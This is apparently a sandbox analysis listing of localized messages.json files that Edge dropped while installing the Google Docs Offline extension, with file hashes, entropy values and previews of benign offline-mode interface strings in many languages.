Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	935
Entropy (8bit):	4.6369398601609735
Encrypted:	false
SSDEEP:	24:1HA7sR5k/I+UX/hrcySxG1fIZ3tp/S/d6Gpb+D:YsE/I+UX/hVSxQ03f/Sj+D
MD5:	25CDFF9D60C5FC4740A48EF9804BF5C7
SHA1:	4FADECC52FB43AEC084DF9FF86D2D465FBEBCDC0
SHA-256:	73E6E246CEEAB9875625CD4889FBF931F93B7B9DEAA11288AE1A0F8A6E311E76
SHA-512:	EF00B08496427FEB5A6B9FB3FE2E5404525BE7C329D9DD2A417480637FD91885837D134A26980DCF9F61E463E6CB68F09A24402805807E656AF16B116A75E02C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZRADI NOVI".. },.. "explanationofflinedisabled": {.. "message": "Vi ste izvan mre.e. Da biste koristili Google dokumente bez internetske veze, idite na postavke na po.etnoj stranici Google dokumenata i uklju.ite izvanmre.nu sinkronizaciju sljede.i put kada se pove.ete s internetom.".. },.. "explanationofflineenabled": {.. "message": "Vi ste izvan mre.e, no i dalje mo.ete ure.ivati dostupne datoteke i izra.ivati nove.".. },.. "extdesc": {.. "message": "Uredite, izradite i pregledajte dokumente, prora.unske tablice i prezentacije . sve bez pristupa internetu.".. },.. "extname": {.. "message": "Google dokumenti izvanmre.no".. },.. "learnmore": {.. "message": "Saznajte vi.e".. },.. "popuphelptext": {.. "message": "Pi.ite, ure.ujte i sura.ujte gdje god se nalazili, povezani s internetom ili izvanmre.no.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7820_1689824082\CRX_INSTALL\_locales\hu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1065
Entropy (8bit):	4.816501737523951
Encrypted:	false
SSDEEP:	24:1HA6J54gEYwFFMxv4gvyB9FzmxlsN147g/zJcYwJgrus4QY2jom:NJ54gEYwUmgKHFzmsG7izJcYOgKgYjm
MD5:	8930A51E3ACE3DD897C9E61A2AEA1D02
SHA1:	4108506500C68C054BA03310C49FA5B8EE246EA4
SHA-256:	958C0F664FCA20855FA84293566B2DDB7F297185619143457D6479E6AC81D240
SHA-512:	126B80CD3428C0BC459EEAAFCBE4B9FDE2541A57F19F3EC7346BAF449F36DC073A9CF015594A57203255941551B25F6FAA6D2C73C57C44725F563883FF902606
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".J L.TREHOZ.SA".. },.. "explanationofflinedisabled": {.. "message": "Jelenleg offline .llapotban van. Ha a Google Dokumentumokat internetkapcsolat n.lk.l szeretn. haszn.lni, a legk.zelebbi internethaszn.lata sor.n nyissa meg a Google Dokumentumok kezd.oldal.n tal.lhat. be.ll.t.sokat, .s tiltsa le az offline szinkroniz.l.s be.ll.t.st.".. },.. "explanationofflineenabled": {.. "message": "Offline .llapotban van, de az el.rhet. f.jlokat .gy is szerkesztheti, valamint l.trehozhat .jakat.".. },.. "extdesc": {.. "message": "Szerkesszen, hozzon l.tre .s tekintsen meg dokumentumokat, t.bl.zatokat .s prezent.ci.kat . ak.r internetkapcsolat n.lk.l is.".. },.. "extname": {.. "message": "Google Dokumentumok Offline".. },.. "learnmore": {.. "message": "Tov.bbi inform.ci.".. },.. "popuphelptext": {.. "message": ".rjon, szerkesszen .s dolgozzon egy.tt m.sokkal

C:\Users\user\AppData\Local\Temp\scoped_dir7820_1689824082\CRX_INSTALL\_locales\hy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2771
Entropy (8bit):	3.7629875118570055
Encrypted:	false
SSDEEP:	48:Y0Fx+eiYZBZ7K1ZZ/5QQxTuDLoFZaIZSK7lq0iC0mlMO6M3ih1oAgC:lF2BTz6N/
MD5:	55DE859AD778E0AA9D950EF505B29DA9
SHA1:	4479BE637A50C9EE8A2F7690AD362A6A8FFC59B2
SHA-256:	0B16E3F8BD904A767284345AE86A0A9927C47AFE89E05EA2B13AD80009BDF9E4
SHA-512:	EDAB2FCC14CABB6D116E9C2907B42CFBC34F1D9035F43E454F1F4D1F3774C100CBADF6B4C81B025810ED90FA91C22F1AEFE83056E4543D92527E4FE81C7889A8
Malicious:	false
Preview:	{"createnew":{"message":"\u054d\u054f\u0535\u0542\u053e\u0535\u053c \u0546\u0548\u0550"},"explanationofflinedisabled":{"message":"Google \u0553\u0561\u057d\u057f\u0561\u0569\u0572\u0569\u0565\u0580\u0568 \u0576\u0561\u0587 \u0561\u0576\u0581\u0561\u0576\u0581 \u057c\u0565\u056a\u056b\u0574\u0578\u0582\u0574 \u0585\u0563\u057f\u0561\u0563\u0578\u0580\u056e\u0565\u056c\u0578\u0582 \u0570\u0561\u0574\u0561\u0580 \u0574\u056b\u0561\u0581\u0565\u0584 \u0570\u0561\u0574\u0561\u0581\u0561\u0576\u0581\u056b\u0576, \u0562\u0561\u0581\u0565\u0584 \u056e\u0561\u057c\u0561\u0575\u0578\u0582\u0569\u0575\u0561\u0576 \u0563\u056c\u056d\u0561\u057e\u0578\u0580 \u0567\u057b\u0568, \u0561\u0576\u0581\u0565\u0584 \u056f\u0561\u0580\u0563\u0561\u057e\u0578\u0580\u0578\u0582\u0574\u0576\u0565\u0580 \u0587 \u0574\u056b\u0561\u0581\u0580\u0565\u0584 \u0561\u0576\u0581\u0561\u0576\u0581 \u0570\u0561\u0574\u0561\u056a\u0561\u0574\u0561\u0581\u0578\u0582\u0574\u0568:"},"explanationofflineenabled":{"message":"\u

C:\Users\user\AppData\Local\Temp\scoped_dir7820_1689824082\CRX_INSTALL\_locales\id\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	858
Entropy (8bit):	4.474411340525479
Encrypted:	false
SSDEEP:	12:1HASvgJX4CBxNpXemNOAJRFqjRpCBxedIdjTi92OvbCSUuoi01uRwCBhUuvz1thK:1HARXzhXemNOQWGcEoeH1eXJNvT2
MD5:	34D6EE258AF9429465AE6A078C2FB1F5
SHA1:	612CAE151984449A4346A66C0A0DF4235D64D932
SHA-256:	E3C86DDD2EFEBE88EED8484765A9868202546149753E03A61EB7C28FD62CFCA1
SHA-512:	20427807B64A0F79A6349F8A923152D9647DA95C05DE19AD3A4BF7DB817E25227F3B99307C8745DD323A6591B515221BD2F1E92B6F1A1783BDFA7142E84601B1
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BARU".. },.. "explanationofflinedisabled": {.. "message": "Anda sedang offline. Untuk menggunakan Google Dokumen tanpa koneksi internet, buka setelan di beranda Google Dokumen dan aktifkan sinkronisasi offline saat terhubung ke internet.".. },.. "explanationofflineenabled": {.. "message": "Anda sedang offline, namun Anda masih dapat mengedit file yang tersedia atau membuat file baru.".. },.. "extdesc": {.. "message": "Edit, buat, dan lihat dokumen, spreadsheet, dan presentasi . tanpa perlu akses internet.".. },.. "extname": {.. "message": "Google Dokumen Offline".. },.. "learnmore": {.. "message": "Pelajari Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit, dan gabungkan di mana saja, dengan atau tanpa koneksi internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7820_1689824082\CRX_INSTALL\_locales\is\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	954
Entropy (8bit):	4.6457079159286545
Encrypted:	false
SSDEEP:	12:YGXU2rOcxGe+J97M9TP2DBX9tMfxqbTMvOfWWgdraqlifVpm0Ekf95Mw89KkJ+je:YwBrD2g2DBLMfFuWvdpY94viDO+uh
MD5:	CAEB37F451B5B5E9F5EB2E7E7F46E2D7
SHA1:	F917F9EAE268A385A10DB3E19E3CC3ACED56D02E
SHA-256:	943E61988C859BB088F548889F0449885525DD660626A89BA67B2C94CFBFBB1B
SHA-512:	A55DEC2404E1D7FA5A05475284CBECC2A6208730F09A227D75FDD4AC82CE50F3751C89DC687C14B91950F9AA85503BD6BF705113F2F1D478E728DF64D476A9EE
Malicious:	false
Preview:	{"createnew":{"message":"B\u00daA TIL N\u00ddTT"},"explanationofflinedisabled":{"message":"\u00de\u00fa ert \u00e1n nettengingar. Til a\u00f0 nota Google-skj\u00f6l \u00e1n nettengingar skaltu opna stillingarnar \u00e1 heimas\u00ed\u00f0u Google skjala og virkja samstillingu \u00e1n nettengingar n\u00e6st \u00feegar \u00fe\u00fa tengist netinu."},"explanationofflineenabled":{"message":"Engin nettenging. \u00de\u00fa getur samt sem \u00e1\u00f0ur breytt tilt\u00e6kum skr\u00e1m e\u00f0a b\u00fai\u00f0 til n\u00fdjar."},"extdesc":{"message":"Breyttu, b\u00fa\u00f0u til og sko\u00f0a\u00f0u skj\u00f6lin \u00fe\u00edn, t\u00f6flureikna og kynningar \u2014 allt \u00e1n nettengingar."},"extname":{"message":"Google-skj\u00f6l \u00e1n nettengingar"},"learnmore":{"message":"Frekari uppl\u00fdsingar"},"popuphelptext":{"message":"Skrifa\u00f0u, breyttu og starfa\u00f0u me\u00f0 \u00f6\u00f0rum hvort sem nettenging er til sta\u00f0ar e\u00f0a ekki."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir7820_1689824082\CRX_INSTALL\_locales\it\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	899
Entropy (8bit):	4.474743599345443
Encrypted:	false
SSDEEP:	12:1HASvggrCBxNp8WJOJJrJ3WytVCBxep3bjP5CSUCjV8AgJJm2CBhr+z1tWgjqEOW:1HANXJOTBFtKa8Agju4NB3j
MD5:	0D82B734EF045D5FE7AA680B6A12E711
SHA1:	BD04F181E4EE09F02CD53161DCABCEF902423092
SHA-256:	F41862665B13C0B4C4F562EF1743684CCE29D4BCF7FE3EA494208DF253E33885
SHA-512:	01F305A280112482884485085494E871C66D40C0B03DE710B4E5F49C6A478D541C2C1FDA2CEAF4307900485946DEE9D905851E98A2EB237642C80D464D1B3ADA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA NUOVO".. },.. "explanationofflinedisabled": {.. "message": "Sei offline. Per utilizzare Documenti Google senza una connessione Internet, apri le impostazioni nella home page di Documenti Google e attiva la sincronizzazione offline la prossima volta che ti colleghi a Internet.".. },.. "explanationofflineenabled": {.. "message": "Sei offline, ma puoi comunque modificare i file disponibili o crearne di nuovi.".. },.. "extdesc": {.. "message": "Modifica, crea e visualizza documenti, fogli di lavoro e presentazioni, senza accesso a Internet.".. },.. "extname": {.. "message": "Documenti Google offline".. },.. "learnmore": {.. "message": "Ulteriori informazioni".. },.. "popuphelptext": {.. "message": "Scrivi, modifica e collabora ovunque ti trovi, con o senza una connessione Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7820_1689824082\CRX_INSTALL\_locales\iw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2230
Entropy (8bit):	3.8239097369647634
Encrypted:	false
SSDEEP:	24:YIiTVLrLD1MEzMEH82LBLjO5YaQEqLytLLBm3dnA5LcqLWAU75yxFLcx+UxWRJLI:YfTFf589rZNgNA12Qzt4/zRz2vc
MD5:	26B1533C0852EE4661EC1A27BD87D6BF
SHA1:	18234E3ABAF702DF9330552780C2F33B83A1188A
SHA-256:	BBB81C32F482BA3216C9B1189C70CEF39CA8C2181AF3538FFA07B4C6AD52F06A
SHA-512:	450BFAF0E8159A4FAE309737EA69CA8DD91CAAFD27EF662087C4E7716B2DCAD3172555898E75814D6F11487F4F254DE8625EF0CFEA8DF0133FC49E18EC7FD5D2
Malicious:	false
Preview:	{"createnew":{"message":"\u05d9\u05e6\u05d9\u05e8\u05ea \u05d7\u05d3\u05e9"},"explanationofflinedisabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8. \u05db\u05d3\u05d9 \u05dc\u05d4\u05e9\u05ea\u05de\u05e9 \u05d1-Google Docs \u05dc\u05dc\u05d0 \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d1\u05d4\u05ea\u05d7\u05d1\u05e8\u05d5\u05ea \u05d4\u05d1\u05d0\u05d4 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d9\u05e9 \u05dc\u05e2\u05d1\u05d5\u05e8 \u05dc\u05e7\u05d8\u05e2 \u05d4\u05d4\u05d2\u05d3\u05e8\u05d5\u05ea \u05d1\u05d3\u05e3 \u05d4\u05d1\u05d9\u05ea \u05e9\u05dc Google Docs \u05d5\u05dc\u05d4\u05e4\u05e2\u05d9\u05dc \u05e1\u05e0\u05db\u05e8\u05d5\u05df \u05d1\u05de\u05e6\u05d1 \u05d0\u05d5\u05e4\u05dc\u05d9\u05d9\u05df."},"explanationofflineenabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e

C:\Users\user\AppData\Local\Temp\scoped_dir7820_1689824082\CRX_INSTALL\_locales\ja\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1160
Entropy (8bit):	5.292894989863142
Encrypted:	false
SSDEEP:	24:1HAoc3IiRF1viQ1RF3CMP3rnicCCAFrr1Oo0Y5ReXCCQkb:Dc3zF7F3CMTnOCAFVLHXCFb
MD5:	15EC1963FC113D4AD6E7E59AE5DE7C0A
SHA1:	4017FC6D8B302335469091B91D063B07C9E12109
SHA-256:	34AC08F3C4F2D42962A3395508818B48CA323D22F498738CC9F09E78CB197D73
SHA-512:	427251F471FA3B759CA1555E9600C10F755BC023701D058FF661BEC605B6AB94CFB3456C1FEA68D12B4D815FFBAFABCEB6C12311DD1199FC783ED6863AF97C0F
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ............................... Google .............. [..] .......[.......] ...........".. },.. "explanationofflineenabled": {.. "message": ".............................................".. },.. "extdesc": {.. "message": ".........................................................".. },.. "extname": {.. "message": "Google ..... ......".. },.. "learnmore": {.. "message": "..".. },.. "popuphelp

C:\Users\user\AppData\Local\Temp\scoped_dir7820_1689824082\CRX_INSTALL\_locales\ka\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3264
Entropy (8bit):	3.586016059431306
Encrypted:	false
SSDEEP:	48:YGFbhVhVn0nM/XGbQTvxnItVJW/476CFdqaxWNlR:HFbhV/n0MfGbw875FkaANlR
MD5:	83F81D30913DC4344573D7A58BD20D85
SHA1:	5AD0E91EA18045232A8F9DF1627007FE506A70E0
SHA-256:	30898BBF51BDD58DB397FF780F061E33431A38EF5CFC288B5177ECF76B399F26
SHA-512:	85F97F12AD4482B5D9A6166BB2AE3C4458A582CF575190C71C1D8E0FB87C58482F8C0EFEAD56E3A70EDD42BED945816DB5E07732AD27B8FFC93F4093710DD58F
Malicious:	false
Preview:	{"createnew":{"message":"\u10d0\u10ee\u10da\u10d8\u10e1 \u10e8\u10d4\u10e5\u10db\u10dc\u10d0"},"explanationofflinedisabled":{"message":"\u10d7\u10e5\u10d5\u10d4\u10dc \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10ee\u10d0\u10e0\u10d7. Google Docs-\u10d8\u10e1 \u10d8\u10dc\u10e2\u10d4\u10e0\u10dc\u10d4\u10e2\u10d7\u10d0\u10dc \u10d9\u10d0\u10d5\u10e8\u10d8\u10e0\u10d8\u10e1 \u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10d2\u10d0\u10db\u10dd\u10e1\u10d0\u10e7\u10d4\u10dc\u10d4\u10d1\u10da\u10d0\u10d3 \u10d2\u10d0\u10d3\u10d0\u10d3\u10d8\u10d7 \u10de\u10d0\u10e0\u10d0\u10db\u10d4\u10e2\u10e0\u10d4\u10d1\u10d6\u10d4 Google Docs-\u10d8\u10e1 \u10db\u10d7\u10d0\u10d5\u10d0\u10e0 \u10d2\u10d5\u10d4\u10e0\u10d3\u10d6\u10d4 \u10d3\u10d0 \u10e9\u10d0\u10e0\u10d7\u10d4\u10d7 \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10e1\u10d8\u10dc\u10e5\u10e0\u10dd\u10dc\u10d8\u10d6\u10d0\u10ea\u10d8\u10d0, \u10e0\u10dd\u10d3\u10d4\u10e1\u10d0\u10ea \u10e8\u10d4\u10db\u10d3\u10d2\u10dd\u10

C:\Users\user\AppData\Local\Temp\scoped_dir7820_1689824082\CRX_INSTALL\_locales\kk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3235
Entropy (8bit):	3.6081439490236464
Encrypted:	false
SSDEEP:	96:H3E+6rOEAbeHTln2EQ77Uayg45RjhCSj+OyRdM7AE9qdV:HXcR/nQXUayYV
MD5:	2D94A58795F7B1E6E43C9656A147AD3C
SHA1:	E377DB505C6924B6BFC9D73DC7C02610062F674E
SHA-256:	548DC6C96E31A16CE355DC55C64833B08EF3FBA8BF33149031B4A685959E3AF4
SHA-512:	F51CC857E4CF2D4545C76A2DCE7D837381CE59016E250319BF8D39718BE79F9F6EE74EA5A56DE0E8759E4E586D93430D51651FC902376D8A5698628E54A0F2D8
Malicious:	false
Preview:	{"createnew":{"message":"\u0416\u0410\u04a2\u0410\u0421\u042b\u041d \u0416\u0410\u0421\u0410\u0423"},"explanationofflinedisabled":{"message":"\u0421\u0456\u0437 \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u043d\u0434\u0435\u0441\u0456\u0437. Google Docs \u049b\u043e\u043b\u0434\u0430\u043d\u0431\u0430\u0441\u044b\u043d \u0436\u0435\u043b\u0456 \u0431\u0430\u0439\u043b\u0430\u043d\u044b\u0441\u044b\u043d\u0441\u044b\u0437 \u049b\u043e\u043b\u0434\u0430\u043d\u0443 \u04af\u0448\u0456\u043d, \u043a\u0435\u043b\u0435\u0441\u0456 \u0436\u043e\u043b\u044b \u0436\u0435\u043b\u0456\u0433\u0435 \u049b\u043e\u0441\u044b\u043b\u0493\u0430\u043d\u0434\u0430, Google Docs \u043d\u0435\u0433\u0456\u0437\u0433\u0456 \u0431\u0435\u0442\u0456\u043d\u0435\u043d \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043b\u0435\u0440 \u0431\u04e9\u043b\u0456\u043c\u0456\u043d \u043a\u0456\u0440\u0456\u043f, \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u

C:\Users\user\AppData\Local\Temp\scoped_dir7820_1689824082\CRX_INSTALL\_locales\km\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3122
Entropy (8bit):	3.891443295908904
Encrypted:	false
SSDEEP:	96:/OOrssRU6Bg7VSdL+zsCfoZiWssriWqo2gx7RRCos2sEeBkS7Zesg:H5GRZlXsGdo
MD5:	B3699C20A94776A5C2F90AEF6EB0DAD9
SHA1:	1F9B968B0679A20FA097624C9ABFA2B96C8C0BEA
SHA-256:	A6118F0A0DE329E07C01F53CD6FB4FED43E54C5F53DB4CD1C7F5B2B4D9FB10E6
SHA-512:	1E8D15B8BFF1D289434A244172F9ED42B4BB6BCB6372C1F300B01ACEA5A88167E97FEDABA0A7AE3BEB5E24763D1B09046AE8E30745B80E2E2FE785C94DF362F6
Malicious:	false
Preview:	{"createnew":{"message":"\u1794\u1784\u17d2\u1780\u17be\u178f\u200b\u1790\u17d2\u1798\u17b8"},"explanationofflinedisabled":{"message":"\u17a2\u17d2\u1793\u1780\u200b\u1782\u17d2\u1798\u17b6\u1793\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f\u17d4 \u178a\u17be\u1798\u17d2\u1794\u17b8\u200b\u1794\u17d2\u179a\u17be Google \u17af\u1780\u179f\u17b6\u179a\u200b\u1794\u17b6\u1793\u200b\u200b\u178a\u17c4\u1799\u200b\u200b\u1798\u17b7\u1793\u1798\u17b6\u1793\u200b\u200b\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f \u179f\u17bc\u1798\u200b\u200b\u1791\u17c5\u200b\u1780\u17b6\u1793\u17cb\u200b\u1780\u17b6\u179a\u200b\u1780\u17c6\u178e\u178f\u17cb\u200b\u1793\u17c5\u200b\u179b\u17be\u200b\u1782\u17c1\u17a0\u1791\u17c6\u1796\u17d0\u179a Google \u17af\u1780\u179f\u17b6\u179a \u1793\u17b7\u1784\u200b\u1794\u17be\u1780\u200b\u1780\u17b6\u179a\u1792\u17d2\u179c\u17be\u200b\u179f\u1798\u1780\u17b6\u179b\u1780\u1798\u17d2\u1798\u200b\u200b\u200b\u1782\u17d2\u1798\u17b6\u1793

C:\Users\user\AppData\Local\Temp\scoped_dir7820_1689824082\CRX_INSTALL\_locales\kn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1895
Entropy (8bit):	4.28990403715536
Encrypted:	false
SSDEEP:	48:SHYGuEETiuF6OX5tCYFZt5GurMRRevsY4tVZIGnZRxlKT6/U0WG:yYG8iuF6yTCYFH5GjLPtVZVZRxOZ0J
MD5:	38BE0974108FC1CC30F13D8230EE5C40
SHA1:	ACF44889DD07DB97D26D534AD5AFA1BC1A827BAD
SHA-256:	30078EF35A76E02A400F03B3698708A0145D9B57241CC4009E010696895CF3A1
SHA-512:	7BDB2BADE4680801FC3B33E82C8AA4FAC648F45C795B4BACE4669D6E907A578FF181C093464884C0E00C9762E8DB75586A253D55CD10A7777D281B4BFFAFE302
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........ .....".. },.. "explanationofflinedisabled": {.. "message": ".... ..................... ......... ............. Google ...... ....., Google ...... ............ ............... .... ..... ...... .... .... ............ ............. ........ ..... ... .....".. },.. "explanationofflineenabled": {.. "message": ".... ...................., .... .... .... ......... ........... ............ .... ........ .........."..

C:\Users\user\AppData\Local\Temp\scoped_dir7820_1689824082\CRX_INSTALL\_locales\ko\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1042
Entropy (8bit):	5.3945675025513955
Encrypted:	false
SSDEEP:	24:1HAWYsF4dqNfBQH49Hk8YfIhYzTJ+6WJBtl/u4s+6:ZF4wNfvm87mX4LF6
MD5:	F3E59EEEB007144EA26306C20E04C292
SHA1:	83E7BDFA1F18F4C7534208493C3FF6B1F2F57D90
SHA-256:	C52D9B955D229373725A6E713334BBB31EA72EFA9B5CF4FBD76A566417B12CAC
SHA-512:	7808CB5FF041B002CBD78171EC5A0B4DBA3E017E21F7E8039084C2790F395B839BEE04AD6C942EED47CCB53E90F6DE818A725D1450BF81BA2990154AFD3763AF
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".. ...".. },.. "explanationofflinedisabled": {.. "message": ".... ...... ... .. .. Google Docs. ..... Google Docs .... .... .... .... .... ..... . .... .... ..... ......".. },.. "explanationofflineenabled": {.. "message": ".... ...... ... .. ... ... ..... ... ... .. . .....".. },.. "extdesc": {.. "message": ".... .... ... .., ...... . ....... .., .., ......".. },.. "extname": {.. "message": "Google Docs ....".. },.. "learnmore": {.. "message": "... ....".. },.. "popuphelptext": {.. "message": "... .. ... .... ..... .... .... .....

C:\Users\user\AppData\Local\Temp\scoped_dir7820_1689824082\CRX_INSTALL\_locales\lo\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2535
Entropy (8bit):	3.8479764584971368
Encrypted:	false
SSDEEP:	48:YRcHe/4raK1EIlZt1wg62FIOg+xGaF8guI5EP9I2yC:+cs4raK1xlZtOgviOfGaF8RI5EP95b
MD5:	E20D6C27840B406555E2F5091B118FC5
SHA1:	0DCECC1A58CEB4936E255A64A2830956BFA6EC14
SHA-256:	89082FB05229826BC222F5D22C158235F025F0E6DF67FF135A18BD899E13BB8F
SHA-512:	AD53FC0B153005F47F9F4344DF6C4804049FAC94932D895FD02EEBE75222CFE77EEDD9CD3FDC4C88376D18C5972055B00190507AA896488499D64E884F84F093
Malicious:	false
Preview:	{"createnew":{"message":"\u0eaa\u0ec9\u0eb2\u0e87\u0ec3\u0edd\u0ec8"},"explanationofflinedisabled":{"message":"\u0e97\u0ec8\u0eb2\u0e99\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ea2\u0eb9\u0ec8. \u0ec0\u0e9e\u0eb7\u0ec8\u0ead\u0ec3\u0e8a\u0ec9 Google Docs \u0ec2\u0e94\u0e8d\u0e9a\u0ecd\u0ec8\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94, \u0ec3\u0eab\u0ec9\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e81\u0eb2\u0e99\u0e95\u0eb1\u0ec9\u0e87\u0e84\u0ec8\u0eb2\u0ec3\u0e99\u0edc\u0ec9\u0eb2 Google Docs \u0ec1\u0ea5\u0ec9\u0ea7\u0ec0\u0e9b\u0eb5\u0e94\u0ec3\u0e8a\u0ec9\u0e81\u0eb2\u0e99\u0e8a\u0eb4\u0ec9\u0e87\u0ec1\u0e9a\u0e9a\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ec3\u0e99\u0ec0\u0e97\u0eb7\u0ec8\u0ead\u0e95\u0ecd\u0ec8\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e97\u0ec8\u0eb2\u0e99\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94."},"explanationofflineenabled":{"message":"\u0e97\u0ec

C:\Users\user\AppData\Local\Temp\scoped_dir7820_1689824082\CRX_INSTALL\_locales\lt\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1028
Entropy (8bit):	4.797571191712988
Encrypted:	false
SSDEEP:	24:1HAivZZaJ3Rje394+k7IKgpAJjUpSkiQjuRBMd:fZZahBeu7IKgqeMg
MD5:	970544AB4622701FFDF66DC556847652
SHA1:	14BEE2B77EE74C5E38EBD1DB09E8D8104CF75317
SHA-256:	5DFCBD4DFEAEC3ABE973A78277D3BD02CD77AE635D5C8CD1F816446C61808F59
SHA-512:	CC12D00C10B970189E90D47390EEB142359A8D6F3A9174C2EF3AE0118F09C88AB9B689D9773028834839A7DFAF3AAC6747BC1DCB23794A9F067281E20B8DC6EA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SUKURTI NAUJ.".. },.. "explanationofflinedisabled": {.. "message": "Esate neprisijung.. Jei norite naudoti .Google. dokumentus be interneto ry.io, pagrindiniame .Google. dokument. puslapyje eikite . nustatym. skilt. ir .junkite sinchronizavim. neprisijungus, kai kit. kart. b.site prisijung. prie interneto.".. },.. "explanationofflineenabled": {.. "message": "Esate neprisijung., bet vis tiek galite redaguoti pasiekiamus failus arba sukurti nauj..".. },.. "extdesc": {.. "message": "Redaguokite, kurkite ir per.i.r.kite savo dokumentus, skai.iuokles ir pristatymus . visk. darykite be prieigos prie interneto.".. },.. "extname": {.. "message": ".Google. dokumentai neprisijungus".. },.. "learnmore": {.. "message": "Su.inoti daugiau".. },.. "popuphelptext": {.. "message": "Ra.ykite, redaguokite ir bendradarbiaukite bet kurioje vietoje naudodami interneto ry.. arba

C:\Users\user\AppData\Local\Temp\scoped_dir7820_1689824082\CRX_INSTALL\_locales\lv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	994
Entropy (8bit):	4.700308832360794
Encrypted:	false
SSDEEP:	24:1HAaJ7a/uNpoB/Y4vPnswSPkDzLKFQHpp//BpPDB:7J7a/uzQ/Y4vvswhDzDr/LDB
MD5:	A568A58817375590007D1B8ABCAEBF82
SHA1:	B0F51FE6927BB4975FC6EDA7D8A631BF0C1AB597
SHA-256:	0621DE9161748F45D53052ED8A430962139D7F19074C7FFE7223ECB06B0B87DB
SHA-512:	FCFBADEC9F73975301AB404DB6B09D31457FAC7CCAD2FA5BE348E1CAD6800F87CB5B56DE50880C55BBADB3C40423351A6B5C2D03F6A327D898E35F517B1C628C
Malicious:	false
